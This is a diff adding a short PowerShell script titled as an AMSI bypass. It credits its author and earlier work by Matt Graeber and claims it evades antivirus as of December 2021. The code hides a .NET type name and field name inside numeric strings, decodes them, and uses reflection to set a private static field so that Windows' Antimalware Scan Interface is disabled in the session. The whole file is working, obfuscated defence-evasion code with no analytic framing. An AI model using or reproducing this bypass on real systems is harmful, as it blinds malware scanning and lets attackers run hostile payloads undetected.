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AMSI_bypass_2021_12.ps1

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+#Twitter: @TihanyiNorbert  (No AV detecetion 2021 December)
+#Based on the original work of Matt Graeber @mattifestation script.
+$A="5492868772801748688168747280728187173688878280688776"
+$B="8281173680867656877679866880867644817687416876797271"
+function C($n, $m){
+[string]($n..$m|%{[char][int](29+($A+$B).
+    substring(($_*2),2))})-replace " "}
+$k=C 0 37; $r=C 38 51
+$a=[Ref].Assembly.GetType($k)
+$a.GetField($r,'NonPublic,Static').SetValue($null,$true)
+
+